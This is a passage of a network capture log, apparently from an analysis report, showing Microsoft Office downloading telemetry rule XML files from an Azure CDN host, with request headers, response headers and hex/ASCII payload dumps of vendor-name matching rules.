T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.10	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:56 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:56 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160956Z-174c587ffdfmrvb9hC1TEBtn3800000001s0000000003eps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:56 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.10	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:57 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:57 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160957Z-178bfbc474bnwsh4hC1NYC2ubs000000036000000000rcnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:57 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.10	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:57 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:57 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160957Z-174c587ffdf8lw6dhC1TEBkgs800000001sg000000000hzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:57 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.10	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:57 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160957Z-174c587ffdfldtt2hC1TEBwv9c00000001dg00000000pcuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.10	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:57 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:57 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160957Z-178bfbc474bwlrhlhC1NYCy3kg0000000390000000003h59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:58 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.10	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:58 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:58 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160958Z-178bfbc474bpscmfhC1NYCfc2c00000001sg00000000m6n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:58 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.10	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:59 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:59 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160959Z-15b8b599d882hxlwhC1TEBfa5w00000001e000000000pcgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:59 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.10	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:59 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:59 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160959Z-178bfbc474bw8bwphC1NYC38b4000000030g00000000g254 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:00 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.10	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:59 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:00 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161000Z-178bfbc474bbbqrhhC1NYCvw7400000003a000000000k3qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:00 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.10	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:59 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:00 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161000Z-178bfbc474bscnbchC1NYCe7eg00000003e0000000002adk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:00 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.10	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:00 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:00 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161000Z-15b8b599d88qw29phC1TEB5zag00000001rg000000002sqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:01 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.10	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:01 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161002Z-178bfbc474bwh9gmhC1NYCy3rs00000003ag000000007257 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 